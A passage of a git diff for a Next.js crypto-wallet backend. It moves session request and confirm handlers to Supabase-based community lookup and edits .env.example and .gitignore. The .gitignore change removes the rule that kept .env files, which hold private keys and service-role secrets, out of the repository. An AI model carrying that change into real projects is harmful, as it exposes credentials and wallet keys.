diff --git a/.env.example b/.env.example index b88e0a3..460ffbf 100644 --- a/.env.example +++ b/.env.example @@ -1,15 +1,15 @@ -COMMUNITIES_CONFIG_URL= - -# Provider -PROVIDER_PRIVATE_KEY= - -# Brevo -BREVO_SENDER_EMAIL= -BREVO_SENDER_NAME= -BREVO_API_KEY= - -# Supabase top level -SUPABASE_URL= -SUPABASE_ANON_KEY= -SUPABASE_SERVICE_ROLE_KEY= -SUPABASE_DB_PASSWORD= +COMMUNITIES_CONFIG_URL= + +# Provider +PROVIDER_PRIVATE_KEY= + +# Brevo +BREVO_SENDER_EMAIL= +BREVO_SENDER_NAME= +BREVO_API_KEY= + +# Supabase top level +SUPABASE_URL= +SUPABASE_ANON_KEY= +SUPABASE_SERVICE_ROLE_KEY= +SUPABASE_DB_PASSWORD= diff --git a/.gitignore b/.gitignore index 7b8da95..7928aeb 100644 --- a/.gitignore +++ b/.gitignore @@ -1,42 +1,42 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. - -# dependencies -/node_modules -/.pnp -.pnp.* -.yarn/* -!.yarn/patches -!.yarn/plugins -!.yarn/releases -!.yarn/versions - -# testing -/coverage - -# next.js -/.next/ -/out/ - -# production -/build - -# misc -.DS_Store -*.pem - -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* -.pnpm-debug.log* - -# env files (can opt-in for committing if needed) -.env* -!.env.example - -# vercel -.vercel - -# typescript -*.tsbuildinfo -next-env.d.ts +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.* +.yarn/* +!.yarn/patches +!.yarn/plugins +!.yarn/releases +!.yarn/versions + +# testing +/coverage + +# next.js +/.next/ +/out/ + +# production +/build + +# misc +.DS_Store +*.pem + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* +.pnpm-debug.log* + +# env files (can opt-in for committing if needed) +!.env.example + +# vercel +.vercel + +# typescript +*.tsbuildinfo +next-env.d.ts +config.bat diff --git a/app/api/v1/app/[alias]/session/patch.ts b/app/api/v1/app/[alias]/session/patch.ts index 8dcac93..b3dafbe 100644 --- a/app/api/v1/app/[alias]/session/patch.ts +++ b/app/api/v1/app/[alias]/session/patch.ts @@ -1,258 +1,263 @@ -'use server'; -import { NextRequest } from 'next/server'; -import { NextResponse } from 'next/server'; -import { StatusCodes, ReasonPhrases } from 'http-status-codes'; -import { Wallet } from 'ethers'; -import { - CommunityConfig, - confirmSession, - verifyIncomingSessionRequest, - verifySessionConfirm, -} from '@citizenwallet/sdk'; -import { getConfigOfAlias } from '@/services/cw/community'; - -interface SessionConfirm { - provider: string; // primary session manager provider address - owner: string; // an address of a private key - sessionRequestHash: string; // hash created from sessionRequest - sessionHash: string; // hash of sessionRequestHash and challenge - signedSessionHash: string; -} - -/** - * PATCH handler for confirming session requests - * - * @route PATCH /api/v1/app/[alias]/session - * - * @param {NextRequest} req - The request object - * @param {Object} params - Route parameters - * @param {string} params.alias - Community alias - * - * @requestBody {Object} request - * @property {string} provider - Community primary session manager provider address - * @property {string} owner - Address of the private key owner - * @property {string} sessionRequestHash - generateSessionRequestHash(provider, sessionOwner, salt, expiry) - * @property {string} sessionHash - generateSessionHash(sessionRequestHash,challenge) - * @property {string} signedSessionHash - Signature of the session hash by the owner - * - * @returns {Promise} JSON Response - * @success {Object} 200 - * @property {string} sessionConfirmTxHash - Transaction hash of the session confirmation - * @property {number} status - HTTP status code - * - * @error {Object} 400 - * @property {number} status - HTTP status code - * @property {string} message - Error message for invalid requests: - * - "Session request expired" - * - "Challenge expired" - * - "Invalid session confirm" - * - "Invalid session hash" - * - Various request body validation errors - * - * @error {Object} 404 - * @property {number} status - HTTP status code - * @property {string} message - Error messages: - * - "Community '{alias}' not found" - * - "Session request not found" - * - * @error {Object} 500 - * @property {number} status - HTTP status code - * @property {string} message - Server configuration or internal error message - * - * @example - * // Request - * PATCH /api/v1/app/mycommunity/session - * { - * "provider": "0x1234...", - * "owner": "0x5678...", - * "sessionRequestHash": "0xabcd...", - * "sessionHash": "0xdef...", - * "signedSessionHash": "0xghij..." - * } - * - * // Success Response - * { - * "sessionConfirmTxHash": "0xklmn...", - * "status": 200 - * } - */ - -export async function PATCH( - req: NextRequest, - { params }: { params: Promise<{ alias: string }> } -) { - const providerPrivateKey = process.env.PROVIDER_PRIVATE_KEY; - const { alias } = await params; - - try { - const rawBody = await req.json(); - const sessionConfirm = sanitizeSessionConfirm(rawBody); - - const config = await getConfigOfAlias(alias); - const community = new CommunityConfig(config); - - if (!providerPrivateKey) { - throw new Error('PROVIDER_PRIVATE_KEY is not set'); - } - - const signer = new Wallet(providerPrivateKey); - - const sessionManager = community.primarySessionConfig; - if (sessionConfirm.provider !== sessionManager.provider_address) { - throw new Error('Invalid provider address'); - } - - const isValid = verifySessionConfirm({ - sessionOwner: sessionConfirm.owner, - sessionHash: sessionConfirm.sessionHash, - signedSessionHash: sessionConfirm.signedSessionHash, - }); - - if (!isValid) { - throw new Error('Invalid session confirm'); - } - - const isSessionHashValid = await verifyIncomingSessionRequest({ - community: community, - signer, - sessionRequestHash: sessionConfirm.sessionRequestHash, - sessionHash: sessionConfirm.sessionHash, - }); - - if (!isSessionHashValid) { - throw new Error('Invalid session hash'); - } - - const txHash = await confirmSession({ - community, - signer, - sessionRequestHash: sessionConfirm.sessionRequestHash, - sessionHash: sessionConfirm.sessionHash, - signedSessionHash: sessionConfirm.signedSessionHash, - }); - - return NextResponse.json({ - sessionConfirmTxHash: txHash, - status: StatusCodes.OK, - }); - } catch (error) { - console.error('Unexpected error in session PATCH handler:', error); - - if (error instanceof Error) { - // Environment variable errors - if (error.message === 'PROVIDER_PRIVATE_KEY is not set') { - return NextResponse.json( - { - status: StatusCodes.INTERNAL_SERVER_ERROR, - message: 'Server configuration error', - }, - { status: StatusCodes.INTERNAL_SERVER_ERROR } - ); - } - - // Community config errors - if (error.message === 'COMMUNITIES_CONFIG_URL is not set') { - return NextResponse.json( - { - status: StatusCodes.INTERNAL_SERVER_ERROR, - message: 'Server configuration error', - }, - { status: StatusCodes.INTERNAL_SERVER_ERROR } - ); - } - - if (error.message.startsWith('No community config found for')) { - return NextResponse.json( - { - status: StatusCodes.NOT_FOUND, - message: `Community "${alias}" not found`, - }, - { status: StatusCodes.NOT_FOUND } - ); - } - - // Session verification errors from verifyIncomingSessionRequest - if (error.message === 'Session request not found') { - return NextResponse.json( - { - status: StatusCodes.NOT_FOUND, - message: 'Session request not found', - }, - { status: StatusCodes.NOT_FOUND } - ); - } - - if ( - error.message === 'Session request expired' || - error.message === 'Challenge expired' - ) { - return NextResponse.json( - { - status: StatusCodes.BAD_REQUEST, - message: error.message, - }, - { status: StatusCodes.BAD_REQUEST } - ); - } - - // Request body validation errors - if (error.message.includes('in request body')) { - return NextResponse.json( - { - status: StatusCodes.BAD_REQUEST, - message: error.message, - }, - { status: StatusCodes.BAD_REQUEST } - ); - } - } - - // Generic error for unknown error types - return NextResponse.json( - { - status: StatusCodes.INTERNAL_SERVER_ERROR, - message: ReasonPhrases.INTERNAL_SERVER_ERROR, - }, - { status: StatusCodes.INTERNAL_SERVER_ERROR } - ); - } -} - -// eslint-disable-next-line @typescript-eslint/no-explicit-any -function sanitizeSessionConfirm(body: any): SessionConfirm { - if (!body) { - throw new Error('Request body is required'); - } - - // Check required fields - if (!body.provider || typeof body.provider !== 'string') { - throw new Error('Invalid provider address in request body'); - } - - if (!body.owner || typeof body.owner !== 'string') { - throw new Error('Invalid owner address in request body'); - } - - if (!body.sessionRequestHash || typeof body.sessionRequestHash !== 'string') { - throw new Error('Invalid sessionRequestHash in request body'); - } - - if (!body.sessionHash || typeof body.sessionHash !== 'string') { - throw new Error('Invalid sessionHash in request body'); - } - - if (!body.signedSessionHash || typeof body.signedSessionHash !== 'string') { - throw new Error('Invalid signedSessionHash in request body'); - } - - // Sanitize the request - const sanitized: SessionConfirm = { - provider: body.provider, - owner: body.owner, - sessionRequestHash: body.sessionRequestHash, - sessionHash: body.sessionHash, - signedSessionHash: body.signedSessionHash, - }; - - return sanitized; -} +'use server'; +import { NextRequest } from 'next/server'; +import { NextResponse } from 'next/server'; +import { StatusCodes, ReasonPhrases } from 'http-status-codes'; +import { Wallet } from 'ethers'; +import { + CommunityConfig, + confirmSession, + verifyIncomingSessionRequest, + verifySessionConfirm, +} from '@citizenwallet/sdk'; +import { getCommunityByAlias } from '@/services/db/community'; +import { getServiceRoleClient } from '@/services/db'; + +interface SessionConfirm { + provider: string; // primary session manager provider address + owner: string; // an address of a private key + sessionRequestHash: string; // hash created from sessionRequest + sessionHash: string; // hash of sessionRequestHash and challenge + signedSessionHash: string; +} + +/** + * PATCH handler for confirming session requests + * + * @route PATCH /api/v1/app/[alias]/session + * + * @param {NextRequest} req - The request object + * @param {Object} params - Route parameters + * @param {string} params.alias - Community alias + * + * @requestBody {Object} request + * @property {string} provider - Community primary session manager provider address + * @property {string} owner - Address of the private key owner + * @property {string} sessionRequestHash - generateSessionRequestHash(provider, sessionOwner, salt, expiry) + * @property {string} sessionHash - generateSessionHash(sessionRequestHash,challenge) + * @property {string} signedSessionHash - Signature of the session hash by the owner + * + * @returns {Promise} JSON Response + * @success {Object} 200 + * @property {string} sessionConfirmTxHash - Transaction hash of the session confirmation + * @property {number} status - HTTP status code + * + * @error {Object} 400 + * @property {number} status - HTTP status code + * @property {string} message - Error message for invalid requests: + * - "Session request expired" + * - "Challenge expired" + * - "Invalid session confirm" + * - "Invalid session hash" + * - Various request body validation errors + * + * @error {Object} 404 + * @property {number} status - HTTP status code + * @property {string} message - Error messages: + * - "Community '{alias}' not found" + * - "Session request not found" + * + * @error {Object} 500 + * @property {number} status - HTTP status code + * @property {string} message - Server configuration or internal error message + * + * @example + * // Request + * PATCH /api/v1/app/mycommunity/session + * { + * "provider": "0x1234...", + * "owner": "0x5678...", + * "sessionRequestHash": "0xabcd...", + * "sessionHash": "0xdef...", + * "signedSessionHash": "0xghij..." + * } + * + * // Success Response + * { + * "sessionConfirmTxHash": "0xklmn...", + * "status": 200 + * } + */ + +export async function PATCH( + req: NextRequest, + { params }: { params: Promise<{ alias: string }> } +) { + const providerPrivateKey = process.env.PROVIDER_PRIVATE_KEY; + const { alias } = await params; + + try { + const rawBody = await req.json(); + const sessionConfirm = sanitizeSessionConfirm(rawBody); + + const client = getServiceRoleClient(); + const { data: community, error } = await getCommunityByAlias(client, alias); + if (error || !community) { + throw new Error('Community not found'); + } + const communityConfig = new CommunityConfig(community.json); + + if (!providerPrivateKey) { + throw new Error('PROVIDER_PRIVATE_KEY is not set'); + } + + const signer = new Wallet(providerPrivateKey); + + const sessionManager = communityConfig.primarySessionConfig; + if (sessionConfirm.provider !== sessionManager.provider_address) { + throw new Error('Invalid provider address'); + } + + const isValid = verifySessionConfirm({ + sessionOwner: sessionConfirm.owner, + sessionHash: sessionConfirm.sessionHash, + signedSessionHash: sessionConfirm.signedSessionHash, + }); + + if (!isValid) { + throw new Error('Invalid session confirm'); + } + + const isSessionHashValid = await verifyIncomingSessionRequest({ + community: communityConfig, + signer, + sessionRequestHash: sessionConfirm.sessionRequestHash, + sessionHash: sessionConfirm.sessionHash, + }); + + if (!isSessionHashValid) { + throw new Error('Invalid session hash'); + } + + const txHash = await confirmSession({ + community: communityConfig, + signer, + sessionRequestHash: sessionConfirm.sessionRequestHash, + sessionHash: sessionConfirm.sessionHash, + signedSessionHash: sessionConfirm.signedSessionHash, + }); + + return NextResponse.json({ + sessionConfirmTxHash: txHash, + status: StatusCodes.OK, + }); + } catch (error) { + console.error('Unexpected error in session PATCH handler:', error); + + if (error instanceof Error) { + // Environment variable errors + if (error.message === 'PROVIDER_PRIVATE_KEY is not set') { + return NextResponse.json( + { + status: StatusCodes.INTERNAL_SERVER_ERROR, + message: 'Server configuration error', + }, + { status: StatusCodes.INTERNAL_SERVER_ERROR } + ); + } + + // Community config errors + if (error.message === 'COMMUNITIES_CONFIG_URL is not set') { + return NextResponse.json( + { + status: StatusCodes.INTERNAL_SERVER_ERROR, + message: 'Server configuration error', + }, + { status: StatusCodes.INTERNAL_SERVER_ERROR } + ); + } + + if (error.message.startsWith('No community config found for')) { + return NextResponse.json( + { + status: StatusCodes.NOT_FOUND, + message: `Community "${alias}" not found`, + }, + { status: StatusCodes.NOT_FOUND } + ); + } + + // Session verification errors from verifyIncomingSessionRequest + if (error.message === 'Session request not found') { + return NextResponse.json( + { + status: StatusCodes.NOT_FOUND, + message: 'Session request not found', + }, + { status: StatusCodes.NOT_FOUND } + ); + } + + if ( + error.message === 'Session request expired' || + error.message === 'Challenge expired' + ) { + return NextResponse.json( + { + status: StatusCodes.BAD_REQUEST, + message: error.message, + }, + { status: StatusCodes.BAD_REQUEST } + ); + } + + // Request body validation errors + if (error.message.includes('in request body')) { + return NextResponse.json( + { + status: StatusCodes.BAD_REQUEST, + message: error.message, + }, + { status: StatusCodes.BAD_REQUEST } + ); + } + } + + // Generic error for unknown error types + return NextResponse.json( + { + status: StatusCodes.INTERNAL_SERVER_ERROR, + message: ReasonPhrases.INTERNAL_SERVER_ERROR, + }, + { status: StatusCodes.INTERNAL_SERVER_ERROR } + ); + } +} + +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function sanitizeSessionConfirm(body: any): SessionConfirm { + if (!body) { + throw new Error('Request body is required'); + } + + // Check required fields + if (!body.provider || typeof body.provider !== 'string') { + throw new Error('Invalid provider address in request body'); + } + + if (!body.owner || typeof body.owner !== 'string') { + throw new Error('Invalid owner address in request body'); + } + + if (!body.sessionRequestHash || typeof body.sessionRequestHash !== 'string') { + throw new Error('Invalid sessionRequestHash in request body'); + } + + if (!body.sessionHash || typeof body.sessionHash !== 'string') { + throw new Error('Invalid sessionHash in request body'); + } + + if (!body.signedSessionHash || typeof body.signedSessionHash !== 'string') { + throw new Error('Invalid signedSessionHash in request body'); + } + + // Sanitize the request + const sanitized: SessionConfirm = { + provider: body.provider, + owner: body.owner, + sessionRequestHash: body.sessionRequestHash, + sessionHash: body.sessionHash, + signedSessionHash: body.signedSessionHash, + }; + + return sanitized; +} diff --git a/app/api/v1/app/[alias]/session/post.ts b/app/api/v1/app/[alias]/session/post.ts index 11e7ee0..908f01c 100644 --- a/app/api/v1/app/[alias]/session/post.ts +++ b/app/api/v1/app/[alias]/session/post.ts @@ -1,401 +1,403 @@ -import { NextRequest } from 'next/server'; -import { NextResponse } from 'next/server'; -import { StatusCodes, ReasonPhrases } from 'http-status-codes'; -import { getBytes, Wallet } from 'ethers'; -import { - CommunityConfig, - generateConnectionMessage, - generateSessionHash, - generateSessionRequestHash, - generateSessionSalt, - requestSession, - verifySessionRequest, -} from '@citizenwallet/sdk'; -import { sendOtpEmail, sendOtpSMS } from '@/services/brevo'; -import { getConfigOfAlias } from '@/services/cw/community'; -import { generateOtp } from '@/utils/generateotp'; -import { getServiceRoleClient } from '@/services/db'; -import { - getImmediateSessionRequestCount, - getRecentSessionRequestCount, - getDailySessionRequestCount, - createSessionRequest, -} from '@/services/db/session_request'; - -type SourceType = 'email' | 'sms' | 'passkey'; - -interface SessionRequest { - provider: string; // primary session manager provider address - owner: string; // an address of a private key - source: string; // an email address, a phone number, a passkey public key - type: SourceType; // email, passkey, sms - expiry: number; // in seconds, UTC timestamp - signature: string; // signature hex -} - -/** - * POST handler for session requests - * - * @route POST /api/v1/app/[alias]/session - * - * @param {NextRequest} req - The request object - * @param {Object} params - Route parameters - * @param {string} params.alias - Community alias - * - * @requestBody {Object} request - * @property {string} provider - Community primary session manager provider address - * @property {string} owner - Address of the private key owner - * @property {string} source - Value of email, phone number, or passkey public key - * @property {('email'|'sms'|'passkey')} type - Type of authentication method - * @property {number} expiry - Session expiry timestamp in seconds (UTC) - * @property {string} signature - Signed session request - * - * @returns {Promise} JSON Response - * @success {Object} 200 - * @property {string} sessionRequestTxHash - Transaction hash of the session request - * @property {string} [sessionRequestChallengeHash] - Challenge hash (only for passkey type) - * @property {number} [sessionRequestChallengeExpiry] - Challenge expiry timestamp (only for passkey type) - * @property {number} status - HTTP status code - * - * @error {Object} 400 - * @property {number} status - HTTP status code - * @property {string} message - Error message for invalid requests: - * - "Invalid provider address in request" - * - "Invalid session signature" - * - "Community has no session configuration" - * - Various request body validation errors - * - * @error {Object} 404 - * @property {number} status - HTTP status code - * @property {string} message - Error message when community not found - * - * @error {Object} 500 - * @property {number} status - HTTP status code - * @property {string} message - Server configuration or internal error message - * - * @example - * // Request - * POST /api/v1/app/mycommunity/session - * { - * "provider": "0x1234...", - * "owner": "0x5678...", - * "source": "user@example.com", - * "type": "email", - * "expiry": 1234567890, - * "signature": "0xabcd..." - * } - * - * // Success Response (email/sms) - * { - * "sessionRequestTxHash": "0xdef...", - * "status": 200 - * } - * - * // Success Response (passkey) - * { - * "sessionRequestTxHash": "0xdef...", - * "sessionRequestChallengeHash": "challenge_message", - * "sessionRequestChallengeExpiry": 1234567890, - * "status": 200 - * } - */ - -export async function POST( - req: NextRequest, - { params }: { params: Promise<{ alias: string }> } -): Promise { - const providerPrivateKey = process.env.PROVIDER_PRIVATE_KEY; - const { alias } = await params; - - try { - const rawBody = await req.json(); - const sessionRequest = sanitizeSessionRequest(rawBody); - - const config = await getConfigOfAlias(alias); - const community = new CommunityConfig(config); - - if (!providerPrivateKey) { - throw new Error('PROVIDER_PRIVATE_KEY is not set'); - } - - const signer = new Wallet(providerPrivateKey); - - const sessionManager = community.primarySessionConfig; - if (sessionRequest.provider !== sessionManager.provider_address) { - throw new Error('Invalid provider address'); - } - - const isValid = verifySessionRequest({ - community, - sessionOwner: sessionRequest.owner, - source: sessionRequest.source, - type: sessionRequest.type, - expiry: sessionRequest.expiry, - signature: sessionRequest.signature, - }); - - if (!isValid) { - throw new Error('Invalid session signature'); - } - - const sessionSalt = generateSessionSalt({ - source: sessionRequest.source, - type: sessionRequest.type, - }); - - const client = getServiceRoleClient(); - - // max 1 request per 30 seconds - const immediateSessionRequestCount = await getImmediateSessionRequestCount( - client, - { - salt: sessionSalt, - alias, - } - ); - - if (immediateSessionRequestCount > 0) { - throw new Error('Too many requests'); - } - - if (sessionRequest.type === 'sms') { - // max 3 requests per 10 minutes - const recentSessionRequestCount = await getRecentSessionRequestCount( - client, - { - salt: sessionSalt, - alias, - } - ); - - if (recentSessionRequestCount >= 3) { - throw new Error('Too many requests'); - } - - // max 20 requests per day - - const dailySessionRequestCount = await getDailySessionRequestCount( - client, - { - salt: sessionSalt, - alias, - } - ); - - if (dailySessionRequestCount >= 20) { - throw new Error('Too many requests'); - } - } - - const sessionRequestHash = generateSessionRequestHash({ - community, - sessionOwner: sessionRequest.owner, - salt: sessionSalt, - expiry: sessionRequest.expiry, - }); - - let challenge: string | number | null = null; - if (['email', 'sms'].includes(sessionRequest.type)) { - challenge = await generateOtp(6); - } - - if (sessionRequest.type === 'passkey') { - challenge = generateConnectionMessage( - sessionRequest.owner, - sessionRequest.expiry.toString() - ); - } - - if (!challenge) { - throw new Error('Challenge generation failed'); - } - - const sessionHash = generateSessionHash({ sessionRequestHash, challenge }); - - const signedSessionHash = await signer.signMessage(getBytes(sessionHash)); - - const txHash = await requestSession({ - community, - signer, - sessionSalt, - sessionRequestHash, - signedSessionRequestHash: sessionRequest.signature, - signedSessionHash, - sessionExpiry: sessionRequest.expiry, - }); - - if (sessionRequest.type === 'email') { - await sendOtpEmail(sessionRequest.source, Number(challenge)); - } - - if (sessionRequest.type === 'sms') { - await sendOtpSMS(sessionRequest.source, Number(challenge)); - } - - await createSessionRequest(client, { - salt: sessionSalt, - alias, - }); - - return NextResponse.json({ - sessionRequestTxHash: txHash, - - sessionRequestChallengeHash: - sessionRequest.type === 'passkey' ? challenge : undefined, - sessionRequestChallengeExpiry: - sessionRequest.type === 'passkey' ? sessionRequest.expiry : undefined, - - status: StatusCodes.OK, - }); - } catch (error) { - // Log any unexpected errors - console.error('Unexpected error in session POST handler:', error); - - if (error instanceof Error) { - if (error.message === 'Too many requests') { - return NextResponse.json( - { - status: StatusCodes.TOO_MANY_REQUESTS, - message: 'Too many requests', - }, - { status: StatusCodes.TOO_MANY_REQUESTS } - ); - } - - // Environment variable errors - if (error.message === 'PROVIDER_PRIVATE_KEY is not set') { - return NextResponse.json( - { - status: StatusCodes.INTERNAL_SERVER_ERROR, - message: 'Server configuration error', - }, - { status: StatusCodes.INTERNAL_SERVER_ERROR } - ); - } - - // Community config specific errors - if (error.message === 'COMMUNITIES_CONFIG_URL is not set') { - return NextResponse.json( - { - status: StatusCodes.INTERNAL_SERVER_ERROR, - message: 'Server configuration error', - }, - { status: StatusCodes.INTERNAL_SERVER_ERROR } - ); - } - - if (error.message.startsWith('No community config found for')) { - return NextResponse.json( - { - status: StatusCodes.NOT_FOUND, - message: `Community "${alias}" not found`, - }, - { status: StatusCodes.NOT_FOUND } - ); - } - - // Provider address validation error - if (error.message === 'Invalid provider address') { - return NextResponse.json( - { - status: StatusCodes.BAD_REQUEST, - message: 'Invalid provider address in request', - }, - { status: StatusCodes.BAD_REQUEST } - ); - } - - // Session signature validation error - if (error.message === 'Invalid session signature') { - return NextResponse.json( - { - status: StatusCodes.BAD_REQUEST, - message: 'Invalid session signature', - }, - { status: StatusCodes.BAD_REQUEST } - ); - } - - // Session configuration error - if (error.message === 'No sessions found') { - return NextResponse.json( - { - status: StatusCodes.BAD_REQUEST, - message: 'Community has no session configuration', - }, - { status: StatusCodes.BAD_REQUEST } - ); - } - - // Add request body validation errors - if (error.message.includes('in request body')) { - return NextResponse.json( - { - status: StatusCodes.BAD_REQUEST, - message: error.message, - }, - { status: StatusCodes.BAD_REQUEST } - ); - } - } - - // Generic error for unknown error types - return NextResponse.json( - { - status: StatusCodes.INTERNAL_SERVER_ERROR, - message: ReasonPhrases.INTERNAL_SERVER_ERROR, - }, - { status: StatusCodes.INTERNAL_SERVER_ERROR } - ); - } -} - -// eslint-disable-next-line @typescript-eslint/no-explicit-any -function sanitizeSessionRequest(body: any): SessionRequest { - if (!body) { - throw new Error('Request body is required'); - } - - // Check required fields - if (!body.provider || typeof body.provider !== 'string') { - throw new Error('Invalid provider address in request body'); - } - - if (!body.owner || typeof body.owner !== 'string') { - throw new Error('Invalid owner address in request body'); - } - - if (!body.source || typeof body.source !== 'string') { - throw new Error('Invalid source in request body'); - } - - if (!body.type || !['email', 'sms', 'passkey'].includes(body.type)) { - throw new Error( - 'Invalid source type. Must be "email", "sms", or "passkey"' - ); - } - - if (!body.expiry || typeof body.expiry !== 'number') { - throw new Error('Invalid expiry in request body'); - } - - if (!body.signature || typeof body.signature !== 'string') { - throw new Error('Invalid signature in request body'); - } - - if (body.type === 'email') { - body.source = body.source.toLowerCase().trim(); - } - - // Sanitize the request - const sanitized: SessionRequest = { - provider: body.provider, - owner: body.owner, - source: body.source, - type: body.type as SourceType, - expiry: body.expiry, - signature: body.signature, - }; - - return sanitized; -} +import { NextRequest } from 'next/server'; +import { NextResponse } from 'next/server'; +import { StatusCodes, ReasonPhrases } from 'http-status-codes'; +import { getBytes, Wallet } from 'ethers'; +import { + CommunityConfig, + generateConnectionMessage, + generateSessionHash, + generateSessionRequestHash, + generateSessionSalt, + requestSession, + verifySessionRequest, +} from '@citizenwallet/sdk'; +import { sendOtpEmail, sendOtpSMS } from '@/services/brevo'; +import { getCommunityByAlias } from '@/services/db/community'; +import { generateOtp } from '@/utils/generateotp'; +import { getServiceRoleClient } from '@/services/db'; +import { + getImmediateSessionRequestCount, + getRecentSessionRequestCount, + getDailySessionRequestCount, + createSessionRequest, +} from '@/services/db/session_request'; + +type SourceType = 'email' | 'sms' | 'passkey'; + +interface SessionRequest { + provider: string; // primary session manager provider address + owner: string; // an address of a private key + source: string; // an email address, a phone number, a passkey public key + type: SourceType; // email, passkey, sms + expiry: number; // in seconds, UTC timestamp + signature: string; // signature hex +} + +/** + * POST handler for session requests + * + * @route POST /api/v1/app/[alias]/session + * + * @param {NextRequest} req - The request object + * @param {Object} params - Route parameters + * @param {string} params.alias - Community alias + * + * @requestBody {Object} request + * @property {string} provider - Community primary session manager provider address + * @property {string} owner - Address of the private key owner + * @property {string} source - Value of email, phone number, or passkey public key + * @property {('email'|'sms'|'passkey')} type - Type of authentication method + * @property {number} expiry - Session expiry timestamp in seconds (UTC) + * @property {string} signature - Signed session request + * + * @returns {Promise} JSON Response + * @success {Object} 200 + * @property {string} sessionRequestTxHash - Transaction hash of the session request + * @property {string} [sessionRequestChallengeHash] - Challenge hash (only for passkey type) + * @property {number} [sessionRequestChallengeExpiry] - Challenge expiry timestamp (only for passkey type) + * @property {number} status - HTTP status code + * + * @error {Object} 400 + * @property {number} status - HTTP status code + * @property {string} message - Error message for invalid requests: + * - "Invalid provider address in request" + * - "Invalid session signature" + * - "Community has no session configuration" + * - Various request body validation errors + * + * @error {Object} 404 + * @property {number} status - HTTP status code + * @property {string} message - Error message when community not found + * + * @error {Object} 500 + * @property {number} status - HTTP status code + * @property {string} message - Server configuration or internal error message + * + * @example + * // Request + * POST /api/v1/app/mycommunity/session + * { + * "provider": "0x1234...", + * "owner": "0x5678...", + * "source": "user@example.com", + * "type": "email", + * "expiry": 1234567890, + * "signature": "0xabcd..." + * } + * + * // Success Response (email/sms) + * { + * "sessionRequestTxHash": "0xdef...", + * "status": 200 + * } + * + * // Success Response (passkey) + * { + * "sessionRequestTxHash": "0xdef...", + * "sessionRequestChallengeHash": "challenge_message", + * "sessionRequestChallengeExpiry": 1234567890, + * "status": 200 + * } + */ + +export async function POST( + req: NextRequest, + { params }: { params: Promise<{ alias: string }> } +): Promise { + const providerPrivateKey = process.env.PROVIDER_PRIVATE_KEY; + const { alias } = await params; + + try { + const rawBody = await req.json(); + const sessionRequest = sanitizeSessionRequest(rawBody); + + const client = getServiceRoleClient(); + const { data: community, error } = await getCommunityByAlias(client, alias); + if (error || !community) { + throw new Error('Community not found'); + } + const communityConfig = new CommunityConfig(community.json); + + if (!providerPrivateKey) { + throw new Error('PROVIDER_PRIVATE_KEY is not set'); + } + + const signer = new Wallet(providerPrivateKey); + + const sessionManager = communityConfig.primarySessionConfig; + if (sessionRequest.provider !== sessionManager.provider_address) { + throw new Error('Invalid provider address'); + } + + const isValid = verifySessionRequest({ + community: communityConfig, + sessionOwner: sessionRequest.owner, + source: sessionRequest.source, + type: sessionRequest.type, + expiry: sessionRequest.expiry, + signature: sessionRequest.signature, + }); + + if (!isValid) { + throw new Error('Invalid session signature'); + } + + const sessionSalt = generateSessionSalt({ + source: sessionRequest.source, + type: sessionRequest.type, + }); + + // max 1 request per 30 seconds + const immediateSessionRequestCount = await getImmediateSessionRequestCount( + client, + { + salt: sessionSalt, + alias, + } + ); + + if (immediateSessionRequestCount > 0) { + throw new Error('Too many requests'); + } + + if (sessionRequest.type === 'sms') { + // max 3 requests per 10 minutes + const recentSessionRequestCount = await getRecentSessionRequestCount( + client, + { + salt: sessionSalt, + alias, + } + ); + + if (recentSessionRequestCount >= 3) { + throw new Error('Too many requests'); + } + + // max 20 requests per day + + const dailySessionRequestCount = await getDailySessionRequestCount( + client, + { + salt: sessionSalt, + alias, + } + ); + + if (dailySessionRequestCount >= 20) { + throw new Error('Too many requests'); + } + } + + const sessionRequestHash = generateSessionRequestHash({ + community: communityConfig, + sessionOwner: sessionRequest.owner, + salt: sessionSalt, + expiry: sessionRequest.expiry, + }); + + let challenge: string | number | null = null; + if (['email', 'sms'].includes(sessionRequest.type)) { + challenge = await generateOtp(6); + } + + if (sessionRequest.type === 'passkey') { + challenge = generateConnectionMessage( + sessionRequest.owner, + sessionRequest.expiry.toString() + ); + } + + if (!challenge) { + throw new Error('Challenge generation failed'); + } + + const sessionHash = generateSessionHash({ sessionRequestHash, challenge }); + + const signedSessionHash = await signer.signMessage(getBytes(sessionHash)); + + const txHash = await requestSession({ + community: communityConfig, + signer, + sessionSalt, + sessionRequestHash, + signedSessionRequestHash: sessionRequest.signature, + signedSessionHash, + sessionExpiry: sessionRequest.expiry, + }); + + if (sessionRequest.type === 'email') { + await sendOtpEmail(sessionRequest.source, Number(challenge)); + } + + if (sessionRequest.type === 'sms') { + await sendOtpSMS(sessionRequest.source, Number(challenge)); + } + + await createSessionRequest(client, { + salt: sessionSalt, + alias, + }); + + return NextResponse.json({ + sessionRequestTxHash: txHash, + + sessionRequestChallengeHash: + sessionRequest.type === 'passkey' ? challenge : undefined, + sessionRequestChallengeExpiry: + sessionRequest.type === 'passkey' ? sessionRequest.expiry : undefined, + + status: StatusCodes.OK, + }); + } catch (error) { + // Log any unexpected errors + console.error('Unexpected error in session POST handler:', error); + + if (error instanceof Error) { + if (error.message === 'Too many requests') { + return NextResponse.json( + { + status: StatusCodes.TOO_MANY_REQUESTS, + message: 'Too many requests', + }, + { status: StatusCodes.TOO_MANY_REQUESTS } + ); + } + + // Environment variable errors + if (error.message === 'PROVIDER_PRIVATE_KEY is not set') { + return NextResponse.json( + { + status: StatusCodes.INTERNAL_SERVER_ERROR, + message: 'Server configuration error', + }, + { status: StatusCodes.INTERNAL_SERVER_ERROR } + ); + } + + // Community config specific errors + if (error.message === 'COMMUNITIES_CONFIG_URL is not set') { + return NextResponse.json( + { + status: StatusCodes.INTERNAL_SERVER_ERROR, + message: 'Server configuration error', + }, + { status: StatusCodes.INTERNAL_SERVER_ERROR } + ); + } + + if (error.message.startsWith('No community config found for')) { + return NextResponse.json( + { + status: StatusCodes.NOT_FOUND, + message: `Community "${alias}" not found`, + }, + { status: StatusCodes.NOT_FOUND } + ); + } + + // Provider address validation error + if (error.message === 'Invalid provider address') { + return NextResponse.json( + { + status: StatusCodes.BAD_REQUEST, + message: 'Invalid provider address in request', + }, + { status: StatusCodes.BAD_REQUEST } + ); + } + + // Session signature validation error + if (error.message === 'Invalid session 